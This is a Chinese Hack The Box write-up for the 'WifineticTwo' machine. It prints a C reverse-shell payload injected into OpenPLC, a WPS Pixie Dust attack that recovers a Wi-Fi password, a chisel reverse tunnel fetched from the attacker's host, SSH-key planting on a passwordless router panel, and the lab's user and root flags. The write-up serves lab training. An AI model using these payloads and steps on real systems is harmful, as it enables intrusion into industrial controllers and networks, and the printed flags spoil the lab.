当前位置: 首页 > news >正文

HTB:WifineticTwo[WriteUP]

目录

连接至HTB服务器并启动靶机

信息搜集

使用rustscan对靶机TCP端口进行开放扫描

使用nmap对靶机开放端口进行脚本、服务扫描

使用curl访问靶机8080端口

使用浏览器直接访问/login路径

漏洞利用

使用searchsploit搜索该WebAPP漏洞

Payload

USER_FLAG:bb4486cda052880dad71c535b3fff1af

横向移动

对wlan0接口信息进行扫描

使用oneshot对路由AP进行PIN码PixieDust漏洞利用

通过该WPA配置文件进行连接

AP渗透

攻击机通过chisel开始反向连接

通过FoxyPorxy插件将代理端口设置成1080,将协议切换至SOCKS5

特权提升

使用ssh-keygen生成密钥对

将proxychains4配置文件中的端口设置成1080

ROOT_FLAG:e8ce76b1c0aa7b37bebc8bef041b6a93


连接至HTB服务器并启动靶机

靶机IP:10.10.11.7

分配IP:10.10.16.7


信息搜集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.7 -r 1-65535 --ulimit 5000

使用nmap对靶机开放端口进行脚本、服务扫描

nmap -p 22,8080 -sCV 10.10.11.7

使用curl访问靶机8080端口

curl -I http://10.10.11.7:8080

被重定向了,尝试访问重定向后的URL

curl -I http://10.10.11.7:8080/login

使用浏览器直接访问/login路径

尝试到Google搜索该WebAPP默认凭证

账户:openplc

密码:openplc

使用默认凭证成功登录到网页后台


漏洞利用

使用searchsploit搜索该WebAPP漏洞

searchsploit OpenPLC

将该EXP拷贝到当前目录下

searchsploit -m 49803.py

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 49803.py
  Exploit: OpenPLC 3 - Remote Code Execution (Authenticated)
      URL: https://www.exploit-db.com/exploits/49803
     Path: /usr/share/exploitdb/exploits/python/webapps/49803.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable, with very long lines (1794)
Copied to: /home/kali/Desktop/temp/49803.py

尝试利用该EXP

python 49803.py -u http://10.10.11.7:8080 -l openplc -p openplc -i 10.10.16.8 -r 1425

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python 49803.py -u http://10.10.11.7:8080 -l openplc -p openplc -i 10.10.16.8 -r 1425          
[+] Remote Code Execution on OpenPLC_v3 WebServer
[+] Checking if host http://10.10.11.7:8080 is Up...
[+] Host Up! ...
[+] Trying to authenticate with credentials openplc:openplc
[x] Login failed :(

试了很多个Github上的EXP、PoC都不行,我决定手动利用该漏洞

Payload

#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>#define IP "<这里填写攻击机监听IP>"
#define PORT <这里填写攻击机监听端口>int main()
{int sockfd = socket(AF_INET, SOCK_STREAM, 0);struct sockaddr_in server_addr;server_addr.sin_family = AF_INET;server_addr.sin_port = htons(PORT);inet_pton(AF_INET, IP, &(server_addr.sin_addr));connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));dup2(sockfd, 0);dup2(sockfd, 1);dup2(sockfd, 2);execve("/bin/sh", 0, 0);close(sockfd);return 0;
}

左侧导航栏进入Hardware模块

首先往里写入Payload头部

initCustomLayer函数内容进行填充

点击Save Change后回到面板

本地侧nc开始监听

nc -lvnp 1425

点击左下角的Start PLC本地侧nc将收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.11.7] 59548
whoami
root

提升TTY

script -c /bin/bash -q /dev/null

查找user_flag位置并查看其内容

root@attica01:/opt/PLC/OpenPLC_v3/webserver# find / -name 'user.txt'
find / -name 'user.txt'
find: '/sys/kernel/debug': Permission denied
/root/user.txt
root@attica01:/opt/PLC/OpenPLC_v3/webserver# cat /root/user.txt
cat /root/user.txt
bb4486cda052880dad71c535b3fff1af

USER_FLAG:bb4486cda052880dad71c535b3fff1af


横向移动

列出所有网络接口

ifconfig

查看wlan0接口是否已链接WIFI

iw wlan0 link

root@attica01:/proc/1# iw wlan0 link
iw wlan0 link
Not connected.

使用wlan0扫描靶机周边WIFI

iwlist wlan0 scan

扫描到WIFI:plcrouter该网络使用WPA2加密方式

对wlan0接口信息进行扫描

iw wlan0 scan

由扫描可见,该接口启用了WPS-1.0,这意味着我们可以突破本机对其他网络的访问限制

使用oneshot对路由AP进行PIN码PixieDust漏洞利用

python3 oneshot.py -i wlan0 -K

新建一个WPA配置

root@attica01:/tmp# cat << EOF > wpa.conf
cat << EOF > wpa.conf
> network={
network={
> ssid="plcrouter"
ssid="plcrouter"
> psk="NoWWEDoKnowWhaTisReal123!"
psk="NoWWEDoKnowWhaTisReal123!"
> }
}
> EOF
EOF

查看该文件内容是否正常写入

cat wpa.conf

root@attica01:/tmp# cat wpa.conf
cat wpa.conf
network={
ssid="plcrouter"
psk="NoWWEDoKnowWhaTisReal123!"
}

通过该WPA配置文件进行连接

wpa_supplicant -B -i wlan0 -c wpa.conf

root@attica01:/tmp# wpa_supplicant -B -i wlan0 -c wpa.conf
wpa_supplicant -B -i wlan0 -c wpa.conf
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information

再次查看wlan0连接状态

iw wlan0 link

root@attica01:/tmp# iw wlan0 link
iw wlan0 link
Connected to 02:00:00:00:01:00 (on wlan0)
        SSID: plcrouter
        freq: 2412
        RX: 12741 bytes (181 packets)
        TX: 1139 bytes (11 packets)
        signal: -30 dBm
        rx bitrate: 1.0 MBit/s
        tx bitrate: 54.0 MBit/s

        bss flags:      short-slot-time
        dtim period:    2
        beacon int:     100

查看该网口是否已分配ipv4地址

ifconfig wlan0

root@attica01:/tmp# ifconfig wlan0
ifconfig wlan0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::ff:fe00:200  prefixlen 64  scopeid 0x20<link>
        ether 02:00:00:00:02:00  txqueuelen 1000  (Ethernet)
        RX packets 7  bytes 1223 (1.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 2172 (2.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

初始化DHCP池

dhclient

再次查看该网口信息发现已分配ipv4地址

ifconfig wlan0

root@attica01:/tmp# ifconfig wlan0
ifconfig wlan0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.84  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::ff:fe00:200  prefixlen 64  scopeid 0x20<link>
        ether 02:00:00:00:02:00  txqueuelen 1000  (Ethernet)
        RX packets 14  bytes 2444 (2.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 19  bytes 3252 (3.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


AP渗透

向AP路由发送ICMP包测试连通性

ping -c 3 192.168.1.1

root@attica01:/tmp# ping -c 3 192.168.1.1
ping -c 3 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=0.066 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=0.101 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=0.093 ms

--- 192.168.1.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2046ms
rtt min/avg/max/mdev = 0.066/0.086/0.101/0.015 ms

攻击机通过python开启http服务

python -m http.server 6666

靶机将chisel进行下载

curl -O 10.10.16.8:6666/chisel

攻击机通过chisel开始反向连接

./chisel server -p 8888 --reverse

靶机通过chisel客户端开始代理

./chisel client 10.10.16.8:8888 R:socks

本地chiseel服务端侧收到回显

┌──(root㉿kali)-[/home/kali/Desktop/tool]
└─# ./chisel server -p 8888 --reverse
2024/11/23 05:50:59 server: Reverse tunnelling enabled
2024/11/23 05:50:59 server: Fingerprint rk0ke7Ywur1ipavVlzy3deroS9dWpE5/nI1XkuXErk8=
2024/11/23 05:50:59 server: Listening on http://0.0.0.0:8888
2024/11/23 05:56:13 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

通过FoxyPorxy插件将代理端口设置成1080,将协议切换至SOCKS5

尝试直接访问:192.168.1.1

直接空密码进入AP后台控制面板


特权提升

在System栏目下找到了Administration控制面板

此处允许我们为AP管理员添加一个SSH公钥文件

使用ssh-keygen生成密钥对

ssh-keygen

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh-keygen                     
Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/id_ed25519): ./id_rsa
Enter passphrase for "./id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:EiG4sHRbvnftfKikT8F9p9QCsWApbR5AT1ymrNSmhUU root@kali
The key's randomart image is:
+--[ED25519 256]--+
|   .. oo=Eo+     |
|.... o oO*+ o    |
|.o..+ .o+B.o     |
|. .. ...*.. . .  |
|      ooSo.. + o |
|     . o ...o +  |
|      . .oo ..   |
|        +  + .   |
|       ..o. .    |
+----[SHA256]-----+

查看公钥文件内容

cat id_rsa.pub 

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ls   
id_rsa  id_rsa.pub
                                                                                                       
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat id_rsa.pub   
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICIi+RRJfHVmn5mdCvJwluUwdD1I5zYoo+qE5FpEVKoi root@kali

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICIi+RRJfHVmn5mdCvJwluUwdD1I5zYoo+qE5FpEVKoi root@kali

将该公钥上传至该面板中

查看proxychains4配置端口

tail -n 5 /etc/proxychains4.conf

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# tail -n 5 /etc/proxychains4.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5  127.0.0.1 1425

将proxychains4配置文件中的端口设置成1080

使用proxychains4代理后通过SSH服务登录到AP路由

proxychains4 ssh root@192.168.1.1 -i id_rsa

在当前目录下找到了root_flag

root@ap:~# id
uid=0(root) gid=0(root)
root@ap:~# ls
root.txt
root@ap:~# cat root.txt
e8ce76b1c0aa7b37bebc8bef041b6a93

ROOT_FLAG:e8ce76b1c0aa7b37bebc8bef041b6a93

相关文章:

HTB:WifineticTwo[WriteUP]

目录 连接至HTB服务器并启动靶机 信息搜集 使用rustscan对靶机TCP端口进行开放扫描 使用nmap对靶机开放端口进行脚本、服务扫描 使用curl访问靶机8080端口 使用浏览器直接访问/login路径 漏洞利用 使用searchsploit搜索该WebAPP漏洞 Payload USER_FLAG&#xff1a;bb…...

ubuntu16.04在ros使用USB摄像头-解决could not open /dev/video0问题

首先检查摄像头 lsusb 安装 uvc camera 功能包 sudo apt-get install ros-indigo-uvc-camera 安装 image 相关功能包 sudo apt-get install ros-kinetic-image-* sudo apt-get install ros-kinetic-rqt-image-view运行 uvc_camera 节点 首先输入roscore 然后另外开一个终端输入…...

大模型专栏--什么是大模型

什么是大模型 来自 chatGPT 的回答&#xff1a; “大模型”通常指的是在机器学习和深度学习领域&#xff0c;尤其是自然语言处理&#xff08;NLP&#xff09;和计算机视觉&#xff08;CV&#xff09;中&#xff0c;具有大量参数和复杂结构的模型。这些模型通常需要大量的数据和…...

LLaMA-Mesh: Unifying 3D Mesh Generation with Language Models 论文解读

目录 一、概述 二、相关工作 1、LLMs到多模态 2、3D对象生成 3、自回归的Mesh生成 三、LLaMA-Mesh 1、3D表示 2、预训练模型 3、有监督的微调数据集 4、数据集演示 四、实验 1、生成的多样性 2、不同模型text-to-Mesh的比较 3、通用语境的评估 一、概述 该论文首…...

golang实现TCP服务器与客户端的断线自动重连功能

1.服务端 2.客户端 生成服务端口程序: 生成客户端程序: 测试断线重连: 初始连接成功...

项目实战:基于深度学习的人脸表情识别系统设计与实现

大家好&#xff0c;人脸表情识别是计算机视觉领域中的一个重要研究方向&#xff0c;它涉及到对人类情感状态的理解和分析。随着深度学习技术的发展&#xff0c;基于深度学习的人脸表情识别系统因其高精度和强大的特征学习能力而受到广泛关注。本文旨在探讨基于深度学习的人脸表…...

【mongodb】社区版8:改变配置bindip和授权

更改配置 sudo systemctl restart mongod (base) root@k8s-master-pfsrv:/home/zhangbin# sudo tail -n 20 /var/log/mongodb/mongod.log 日志感觉是成功了:{"t":{"$date":"2024-11-19T19:57:47.076+08:00"...

python入门9-函数基础

函数介绍 <1>什么是函数 请看如下代码: print(" _ooOoo_ ") print(" o8888888o ") print(" 88 . 88 ") print(" …...

AMD(Xilinx) FPGA配置Flash大小选择

目录 1 FPGA配置Flash大小的决定因素2 为什么选择的Flash容量大小为最小保证能够完成整个FPGA的配置呢&#xff1f; 1 FPGA配置Flash大小的决定因素 在进行FPGA硬件设计时&#xff0c;选择合适的配置Flash是我们进行硬件设计必须考虑的&#xff0c;那么配置Flash大小的选择由什…...

TypeScript学习笔记(二)

接一 四、类型声明 使用 : 来对变量或函数形参&#xff0c;进行类型声明&#xff1a; let a: string //变量a只能存储字符串 let b: number //变量b只能存储数值 let c: boolean //变量c只能存储布尔值 a hello a 100 //警告&#xff1a;不能将类型“number”分配给类型“…...

Centos Stream 9安装Jenkins-2.485 构建自动化项目步骤

官网&#xff1a;https://www.jenkins.io/ 1 下载 环境准备&#xff1a; 版本支持查询&#xff1a;https://pkg.jenkins.io/redhat-stable/ 安装JDK17&#xff1a;https://blog.csdn.net/qq_44870331/article/details/140784297 yum -y install epel-release wget upgradew…...

多目标粒子群优化(Multi-Objective Particle Swarm Optimization, MOPSO)算法

概述 多目标粒子群优化&#xff08;MOPSO&#xff09; 是粒子群优化&#xff08;PSO&#xff09;的一种扩展&#xff0c;用于解决具有多个目标函数的优化问题。MOPSO的目标是找到一组非支配解&#xff08;Pareto最优解&#xff09;&#xff0c;这些解在不同目标之间达到平衡。…...

【网络系统管理】2023年全国职业院校技能大赛:组策略--10套题组合--1

1、限制访问C盘; (1)搜索《我的电脑》 (2)用户配置\策略\管理模板\Windows组件\文件资源管理器 2、禁止运行run.exe; (1)搜索《应用程序》 (2)用户配置\策略\管理模板\系统...

【Golang】——Gin 框架中的 API 请求处理与 JSON 数据绑定

在现代 Web 开发中&#xff0c;API&#xff08;特别是 RESTful API&#xff09;是前后端分离架构的核心。Gin 框架提供了丰富的功能来处理 API 请求和 JSON 数据&#xff0c;使得开发者可以快速构建高效的接口服务。本篇博客将从基础到深入&#xff0c;全面讲解如何使用 Gin 框…...

在Linux下配置gitee与Github的远程仓库

目录 前言 云服务器下载git 检测是否下载成功git Linux下配置gitee远程仓库 代码提交演示 git三板斧 Linux下配置Github远程仓库 最后的提醒 前言 那么本篇文章将是在&#xff0c;你已经创建了本地仓库的基础上&#xff0c;在Linux下配置gitee的远程仓库的步骤&#xff…...

自动化测试过程操作细节

一、软件与框架介绍 1. Postman 读音&#xff1a;[pəʊstmən]&#xff08;剖斯特曼&#xff09; 介绍&#xff1a;API开发与测试的得力助手&#xff0c;通过直观界面发送HTTP请求&#xff0c;查看响应数据。支持环境变量、集合、脚本等功能。 主要特点&#xff1a;易于使用…...

iic协议

IIC&#xff08;Inter-Integrated Circuit&#xff09;协议&#xff0c;也被称为I2C协议&#xff0c;是一种由荷兰的PHILIPS公司&#xff08;现为NXP半导体公司&#xff09;开发的简单、高效的通信协议。以下是关于IIC协议的详细介绍&#xff1a; 一、IIC协议概述 定义&#…...

uniapp、js判断输入的内容是整数

清奇的思路 通过取余运算符 % 来检查 输入的内容是否为整数 for (var i 0; i < this.list.length; i) {if (this.list[i].times % 1 ! 0) { // 使用取余运算符检查是否为整数uni.showToast({icon: none,title: 请输入整数的套餐次数,})return;}}...

《Qt Creator:人工智能时代的跨平台开发利器》

《Qt Creator&#xff1a;人工智能时代的跨平台开发利器》 一、Qt Creator 简介&#xff08;一&#xff09;功能和优势&#xff08;二&#xff09;快捷键与效率提升&#xff08;三&#xff09;跨平台支持&#xff08;四&#xff09;工具介绍与使用主要特性&#xff1a;使用步骤…...

The Yarn application application_xxx_xxx doesn‘t exist in RM

本文主要解决flink在standalone模式下&#xff0c;flink run却一直使用yarn-session模式的问题。 问题 有个客户找到笔者&#xff0c;问题是报错如下: 分析 笔者先从环境入手&#xff0c;首先要确定的是flink是使用了什么模式。确认过后是使用standalone模式。 那就很奇怪&a…...

爬虫实战:采集知乎XXX话题数据

目录 反爬虫的本意和其带来的挑战目标实战开发准备代码开发发现问题1. 发现问题[01]2. 发现问题[02] 解决问题1. 解决问题[01]2. 解决问题[02] 最终结果 结语 反爬虫的本意和其带来的挑战 在这个数字化时代社交媒体已经成为人们表达观点的重要渠道&#xff0c;对企业来说&…...

【C++篇】像解谜一样转换字符串:stoi 带你走向整数的世界

文章目录 前言 在现代 C 编程中&#xff0c;字符串与数字之间的转换是非常常见的需求。随着编程语言的发展&#xff0c;C 提供了多种方式来处理这种转换。stoi&#xff08;string to integer&#xff09;函数正是为了简化这一任务而被引入的。 在 C 的早期版本中&#xff0c;字…...

小U数数问题

问题描述 小U正在数偶数&#xff0c;从 0,2,4,6,8,10,12,…0,2,4,6,8,10,12,… 开始&#xff0c;依次将这些数连在一起&#xff0c;形成一个无穷长的字符串&#xff0c;例如&#xff1a;"0246810121416..."。小U想知道这个字符串中的第 nn 个字符是什么。 测试样例 …...

Rocky Linux 系统安装/部署 Docker

1、下载docker-ce的repo文件 [rootlocalhost ~]# curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker.repo % Total % Received % Xferd Average Speed Time Time Time Current Dloa…...

程序语言语法上手题目合集

程序语言语法上手题目合集 1跑步2猜年龄3Vigenre 密码 1跑步 2.跑步 - 蓝桥云课 枚举日期&#xff0c;判断是否符合条件即可。 参考程序&#xff1a; #include<stdio.h> int y2022,m1,d1; int week6; int month[13]{0,31,28,31,30,31,30,31,31,30,31,30,31};int judg…...

MCU通过APB总线与FPGA 数据交互(实现JATG 模块的控制)

问题出发点: 通过MCU 的APB 将数据发送到fpga 端;fpga 端实现 jtag 模块功能,支持状态机TAP的移动主要是:从IDLE 移动到 shirft-IR 发送指令数据然后再回到 IDLE ,从 IDLE 移动到shirft-DR 发送用户数据再回到IDLE;从而可以 通过 mcu端实现jtag 协议控制。 为了实现 MC…...

Mysql的UPDATE(更新数据)详解

MySQL的UPDATE语句是用于修改数据库表中已存在的记录&#xff0c;本文将详细介绍UPDATE语句的基本语法、高级用法、性能优化策略以及注意事项&#xff0c;帮助您更好地理解和应用这一重要的SQL命令。 1. 基本语法 单表更新 单表更新的基本语法如下&#xff1a; UPDATE [LOW…...

【AI最前线】DP双像素sensor相关的AI算法全集:深度估计、图像去模糊去雨去雾恢复、图像重建、自动对焦

Dual Pixel 简介 双像素是成像系统的感光元器件中单帧同时生成的图像&#xff1a;通过双像素可以实现&#xff1a;深度估计、图像去模糊去雨去雾恢复、图像重建 成像原理来源如上&#xff0c;也有遮罩等方式的pd生成&#xff0c;如图双像素视图可以看到光圈的不同一半&#x…...

如何使用AWS Lambda构建一个云端工具(超详细)

首发地址&#xff08;欢迎大家访问&#xff09;&#xff1a;如何使用AWS Lambda构建一个云端工具&#xff08;超详细&#xff09; 1 前言 1.1 无服务器架构 无服务器架构&#xff08;Serverless Computing&#xff09;是一种云计算服务模型&#xff0c;它允许开发者构建和运行…...

Scala—数组(数组定义、数组常用方法等)— 用法详解

Scala Scala-数组-用法详解 Scala一、数组的定义1. new 关键字2. Array 对象的 apply 方法3. 创建多维数组 二、数组常用方法1. length&#xff1a;获取数组的长度。2. apply&#xff1a;通过索引获取数组中的元素。3. update&#xff1a;通过索引更新数组中的元素。4. foreach…...

使用 Elastic 收集 Windows 遥测数据:ETW Filebeat 输入简介

作者&#xff1a;来自 Elastic Chema Martinez 在安全领域&#xff0c;能够使用 Windows 主机的系统遥测数据为监控、故障排除和保护 IT 环境开辟了新的可能性。意识到这一点&#xff0c;Elastic 推出了专注于 Windows 事件跟踪 (ETW) 的新功能 - 这是一种强大的 Windows 原生机…...

二分排序

二分问题之前遇到很多次了&#xff0c;不过一直是手写完整二分&#xff0c;现在转变一下想法&#xff0c;直接使用函数lower_bound和upper_bound更方便 lower_bound 有序数组中 查找第一个不小于指定值的位置。 本质二分代码&#xff1a; int lower_bound_custom(int* arr, i…...

数据库---HSQLDB使用教程详解

本学校期末的课程设计要求使用HSQLDB数据库&#xff0c;作为一个小众且轻量的数据库&#xff0c;很少人接触过&#xff0c;再加上同学们都问这个方面&#xff0c;所以就出教程&#xff0c;展示怎么使用HSQLDB。 第一步&#xff1a;启动HSQLDB 下载HSQLDB的jar包&#xff0c;因…...

Makefile基础应用

1 使用场景 在Linux环境下&#xff0c;我们通常需要通过命令行来编译代码。例如&#xff0c;在使用gcc编译C语言代码时&#xff0c;需要使用以下命令。 gcc -o main main.c 使用这种方式编译代码非常吃力&#xff0c;每次调试代码都需要重新在命令行下重新编译&#xff0c;重复…...

一个点绕任意点旋转后的点的坐标

在平面坐标上&#xff0c;任意点P(x1,y1)&#xff0c;绕一个坐标点Q(x2,y2)逆时针旋转θ角度后,新的坐标设为(x, y)的计算公式&#xff1a; x (x1 - x2)*cos(θ) - (y1 - y2)*sin(θ) x2 ; y (x1 - x2)*sin(θ) (y1 - y2)*cos(θ) y2 ; 另一个场景应用&#xff0c;坐标轴绕…...

嵌入式硬件杂谈(二)-芯片输入接入0.1uf电容的本质(退耦电容)

引言&#xff1a;对于嵌入式硬件这个庞大的知识体系而言&#xff0c;太多离散的知识点很容易疏漏&#xff0c;因此对于这些容易忘记甚至不明白的知识点做成一个梳理&#xff0c;供大家参考以及学习&#xff0c;本文主要针对芯片输入接入0.1uf电容的本质的知识点的进行学习。 目…...

算力100问☞第16问:什么是TPU?

TPU全称是Tensor Processing Unit芯片&#xff0c;中文全称是张量处理单元芯片&#xff0c;是谷歌开发的一种特殊类型的芯片&#xff0c;用于加速人工智能&#xff08;AI&#xff09;和机器学习&#xff08;ML&#xff09;工作负载。TPU主要针对张量&#xff08;tensor&#xf…...

Level DB --- SkipList

class SkipList class SkipList 是Level DB中的重要数据结构&#xff0c;存储在memtable中的数据通过SkipList来存储和检索数据&#xff0c;它有优秀的读写性能&#xff0c;且和红黑树相比&#xff0c;更适合多线程的操作。 SkipList SkipList还是一个比较简单的数据结构&a…...

全面解析 JMeter 后置处理器:概念、工作原理与应用场景

在性能测试中&#xff0c;Apache JMeter是一个非常流行的工具&#xff0c;它不仅能够模拟大量用户进行并发访问&#xff0c;还提供了丰富的扩展机制来满足各种复杂的测试需求。后置处理器&#xff08;Post-Processor&#xff09;是JMeter中非常重要的组件之一&#xff0c;用于在…...

【视频】二维码识别:libzbar-dev、zbar-tools(zbarimg )

1、简介 ZBar可以使用多个方式识别各种条形码和二维码。 支持的格式有:EAN-13/UPC-A、UPC-E、EAN-8、Code 128、Code 93、Code 39、Codabar、Interleaved 2 of 5、QR Code和SQ Code 支持的来源有:视频流、图像文件等 libzbar-dev:二维码识别开发库 zbar-tools(zbarimg …...

EasyExcel: 结合springboot实现表格导出入(单/多sheet), 全字段校验,批次等操作(全)

全文目录,一步到位 1.前言简介1.1 链接传送门1.1.1 easyExcel传送门 2. Excel表格导入过程2.1 easyExcel的使用准备工作2.1.1 导入maven依赖2.1.2 建立一个util包2.1.3 ExcelUtils统一功能封装(单/多sheet导入)2.1.4 ExcelDataListener数据监听器2.1.5 ResponseHelper响应值处理…...

志愿者小程序源码社区网格志愿者服务小程序php

志愿者服务小程序源码开发方案&#xff1a;开发语言后端php&#xff0c;tp框架&#xff0c;前端是uniapp。 一 志愿者端-小程序&#xff1a; 申请成为志愿者&#xff0c;志愿者组织端进行审核。成为志愿者后&#xff0c;可以报名参加志愿者活动。 志愿者地图&#xff1a;可以…...

HTML实现 扫雷游戏

前言&#xff1a; 游戏起源与发展 扫雷游戏的雏形可追溯到 1973 年的 “方块&#xff08;cube&#xff09;” 游戏&#xff0c;后经改编出现了 “rlogic” 游戏&#xff0c;玩家需为指挥中心探出安全路线避开地雷。在此基础上&#xff0c;开发者汤姆・安德森编写出了扫雷游戏的…...

小白学多线程(持续更新中)

1.JDK中的线程池 JDK中创建线程池有一个最全的构造方法&#xff0c;里面七个参数如上所示。 执行流程分析&#xff1a; 模拟条件&#xff1a;10个核心线程数&#xff0c;200个最大线程数&#xff0c;阻塞队列大小为100。 当有小于十个任务要处理时&#xff0c;因为小于核心线…...

【uni-app多端】修复stmopjs下plus-websocket无心跳的问题

从这篇文章接着向下看&#xff1a; uniapp plus-websocket 和stompjs连接教程 安卓ios手机端有效 - 简书 按照文章的方式&#xff0c;能够实现APP下stmopjs长连接。但是有一个问题&#xff0c;就是会频繁输出 res-创建连接-1- 跟踪连接&#xff0c;会发现连接都会在大约40s后…...

【SLAM文献阅读】基于概率模型的视觉SLAM动态检测与数据关联方法

A dynamic detection and data association method based on probabilistic models for visual SLAM 《基于概率模型的视觉SLAM动态检测与数据关联方法》 2024 摘要&#xff1a; 通常&#xff0c;静态特征采用多视图几何来估计相机姿态和重建环境地图。因此&#xff0c;动态特…...

Linux系统使用valgrind分析C++程序内存资源使用情况

内存占用是我们开发的时候需要重点关注的一个问题&#xff0c;我们可以人工根据代码推理出一个消耗内存较大的函数&#xff0c;也可以推理出大概会消耗多少内存&#xff0c;但是这种方法不仅麻烦&#xff0c;而且得到的只是推理的数据&#xff0c;而不是实际的数据。 我们可以…...

Selenium+Java(19):使用IDEA的Selenium插件辅助超快速编写Pages

前言 或是惊叹于Selenium对于IDEA的支持已经达到了这样的地步,又或是由于这个好用的小工具的入口就在那里,它已经陪伴了我这么久,而我这么久的时间却都没有发现它。在突然发现这个功能的一瞬间,真的是喜悦感爆棚,于是赶快写下了这篇文章。希望可以帮助到其他同样在做UI自动…...

Unity 设计模式-单例模式(Singleton)详解

设计模式 设计模式 是指在软件开发中为解决常见问题而总结出的一套 可复用的解决方案。这些模式是经过长期实践证明有效的 编程经验总结&#xff0c;并可以在不同的项目中复用。设计模式并不是代码片段&#xff0c;而是对常见问题的 抽象解决方案&#xff0c;它提供了代码结构…...

OAuth协议详解

一、基本概念 OAuth&#xff08;Open Authorization&#xff09;是一种授权协议&#xff0c;用于允许第三方应用程序以受信任的方式访问用户的资源&#xff0c;而无需共享用户的身份验证凭据。OAuth协议的核心目标是在保持用户数据安全的前提下&#xff0c;简化用户在不同应用…...